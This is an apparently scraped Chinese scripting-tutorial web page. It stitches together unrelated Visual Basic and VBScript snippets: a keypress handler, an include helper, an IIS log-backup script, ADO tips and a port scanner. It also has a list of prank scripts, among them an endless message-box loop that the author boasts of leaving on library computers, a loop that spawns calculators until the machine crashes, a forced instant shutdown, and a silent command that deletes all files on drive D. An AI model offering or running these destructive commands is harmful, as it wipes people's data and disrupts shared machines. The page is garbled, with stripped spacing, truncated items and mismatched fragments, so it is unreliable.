1分钟视频脚本魔域页游

发布时间:2020-09-04 来源:脚本之家 点击:

PublicConstVK_TAB=&H9
PublicDeclareSubkeybd_eventLib"user32"(ByValbVkAsByte,ByValbScanAsByte,ByValdwFlagsAsLong,ByValdwExtraInfoAsLong)

PrivateSubText1_KeyPress(KeyAsciiAsInteger)
IfKeyAscii=vbKeyReturnThen
KeyAscii=0
keybd_eventVK_TAB,0,0,0
EndIf
EndSub->


OptionExplicit
OnErrorResumeNext
Subinclude(vbs)
Dimfso:Setfso=CreateObject("scripting.FileSystemObject")
Dimp:p=Split(Wscript.ScriptFullName,"")
p(UBound(p))=vbs
p=Join(p,"")
Dimf:Setf=fso.OpenTextFile(p)
Executef.ReadAll()
'ExecuteGlobalf.ReadAll()
f.Close()
Setf=Nothing
Setfso=Nothing
'Wscript.Echo(p)
EndSub

include("1.vbs")
include("2.vbs")
'IfErrThen
'Wscript.Echo(Err.description)
'Wscript.Quit()
'EndIf
Wscript.Echo(a+b)

1.vbs
a=3

2.vbs
b=4


触动精灵运行脚本没反应
dimIISCount,IISObject,logfiledir,fso,LogFilePeriods,inputtime,site,sites,i,j,sitename(999),WshShell
'onerrorresumenext
setWshShell=WScript.CreateObject("WScript.Shell")
Setfso=CreateObject("scripting.FileSystemObject")
setIISCount=GetObject("")
sites=0
foreachsiteinIISCount
if(site.class="IIsWebServer")then
sitename(sites)=site.name
sites=sites+1
endif
next

MsgBox"IIS中一共"&sites&"个站点,ID分别为:"
forj=1tosites-1
MsgBoxsitename(j)
next

inputtime=inputbox("您要备份哪天的日志?如备份2004-01-01,则输入040101")
MsgBox"备份"&inputtime&"天的日志"

MsgBox"开始备份.............."
fori=0tosites-1
SetIISOBJect=GetObject(""&sitename(i))
MsgBox"备份ID="&sitename(i)&"Sitename="&IISObject.servercomment&"的站点"
logfiledir=IISObject.LogFileDirectory&"w3svc"&sitename(i)'设置第一个站点的日志路径
if(Err.Number<>0)thenlogfiledir=IISCount.LogFileDirectory
Err.clear
'ifIISObject.LogFilePeriod=1thenLogFilePeriods="days"
'ifIISObject.LogFilePeriod=2thenLogFilePeriods="weeks"
'ifIISObject.LogFilePeriod=3thenLogFilePeriods="months"
'ifIISObject.LogFilePeriod=4thenLogFilePeriods="hours"
'ifIISObject.LogFilePeriod=0ANDIISObject.LogFileTruncateSize=-1thenLogFilePerirods="onefile"
'ifIISObject.LogFilePeriod=0ANDIISObject.LogFileTruncateSize>0thenLogFilePerirods="size"&IISObject.LogFileTruncateSize
LogFilePeriods=IISObject.LogFilePeriod
if(Err.Number<>0)thenLogFilePeriods=IISCount.LogFilePeriod
Err.clear
if(NOTLogFilePeriods=1ANDNOTLogFilePeriods=4)then
MsgBox"对不起,您的日志偶就不给备份,咋地吧"
WScript.quit
endif
if(NOTfso.folderexists("d:backup"))then
MsgBox"thefolderd:backupisnotexist,nowcreateit"
fso.CreateFolder("d:backup")
Msgbox"createdd:backupsuccuful"
endif
if(NOTfso.FolderExists("d:backup"&IISObject.servercomment))then
MsgBox"thefolderd:backup"&IISObject.servercomment&"isnotexist,nowcreateit"
fso.CreateFolder("d:backup"&IISObject.servercomment)
MsgBox"createdd:backup"&IISObject.servercomment&"succuful"
endif

MsgBox"nowbackupthelogfiles"
logfiledir=WshShell.ExpandEnvironmentStrings(logfiledir)'将环境变量转换成字符串
MsgBoxlogfiledir
fso.Copyfilelogfiledir&"ex"&inputtime&"*","d:backup"&IISObject.servercomment
ifErr.number<>0then
MsgBox"thissitenofiles"
else
MsgBox"backuplogfilessuccuful"
endif

inputifdel=inputbox("是否删除已备份文件?输入“YES”进行删除")
ifinputifdel="YES"then
fso.DeleteFile(logfiledir&"ex"&inputtime&"*")
MsgBox"删除文件成功"
else
MsgBox"文件已保留"
endif
next
MsgBox"备份所有的日志文件成功,嘿嘿"



1.如果你是新建一个程序
当你新建一个程序时,在FROM中要先添加DATA控件,再添加ADO控件,OK一切正常
2.如果你已有一个程序,还想添加一个FROM(其中包括DATA控件)
解决方法是:1.新建FORM,建一个DATA控件,输入你要输入的代码,保存文件
2.添加文件,把你原来的工程文件添加进来
3.改变工程属性,把启动对象设置为你原来的工程

注意事项:ADO控件在DATA控件前面加入=“错误”
ADO控件在DATA控件后面加入=“正确”->


On Error Resume Next
if (lcase(right(wscript.fullname,11))="wscript.exe") then
wscript.echo "Execute it under the cmd.exe Plz! Thx."
wscript.quit
end If

if Wscript.Arguments.count=0 Then
usage()
wscript.quit
End If

Set Arg=Wscript.Arguments
Sport=Split(arg(1),",")
For i=0 To UBound(Split(arg(1),","))
wsh.echo "scan "&Sport(i)&" ing……"
Set x=CreateObject("msxml2.serverXMLHTTP")
x.open "post",""&arg(0)&":"&Sport(i)
x.send("hello")
wsh.echo Space(3)&"error.NuMbEr:"& ERr.NuMbEr & Space(5)&"ERr.Description:"&ERr.Description
if ERr.NuMbEr=0 Or ERr.NuMbEr=-2147012866 Or ERr.NuMbEr=-2147012894 Or ERr.NuMbEr=-2147012744 Or ERr.NuMbEr=-2147467259 Then
wsh.echo Space(3)&" The "&Sport(i)&" port is OPEN"
End if
next

function usage()
wscript.echo "| 注意查看ERr.Description来判断端口开放,自动探测不一定准确 |"
wscript.echo "| |"
wscript.echo "|Useage: |"
wscript.echo "| cscript.exe this.vbs ip port |"
wscript.echo "|ex: |"
wscript.echo "| cscript.exe this.vbs ip 80 or 80,123,445…… |"
wscript.echo "+-------------------------------------------------------------------+"&chr(10)
end function

->PublicSubFillList(ListControlAsListBox,ParamArrayItems())
DimiAsVariant
WithListControl
.Clear
ForEachiInItems
.AddItemi
Next
EndWith
EndSub

PrivateSubCommand1_Click()
FillListList1,"TiffanyT","MikeS","RochesterNY"
EndSub->
->


二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打开无数个计算器,直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell=wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell=wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不断弹出窗口
----------------------------------------------------------------------------

----------------------------------------------------------------------------
七、不断按下alt+f4 (开什么都关闭……)
---------------------------------------------------------------------------

八、按500次回车
(以上代码在运行者的电脑上显示500个对话框INI文件是系统、应用程序的配置文件

所以最好在改变属性前查询



创建

创建前需要检查文件是否存在,方法和前面说的文件夹的方法一样

*****************************file.vbs**********************************

setfs=wscript.createobject(“scripting.filesystemobject”)

iffs.fileexists(“c:\asd.txt”)then

s=”available”

else

s=notexist”

setf=fs.createtextfile(“c:\asd.txt”)

endif

当然我们也可以使用setf=fs.createtextfile(“c:\asd.txt”,true)

来强制覆盖已存在的文件javascript->


说明
如果对象的实例存储在内存中,或者您要从文件创建对象,则使用GetObject方法。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号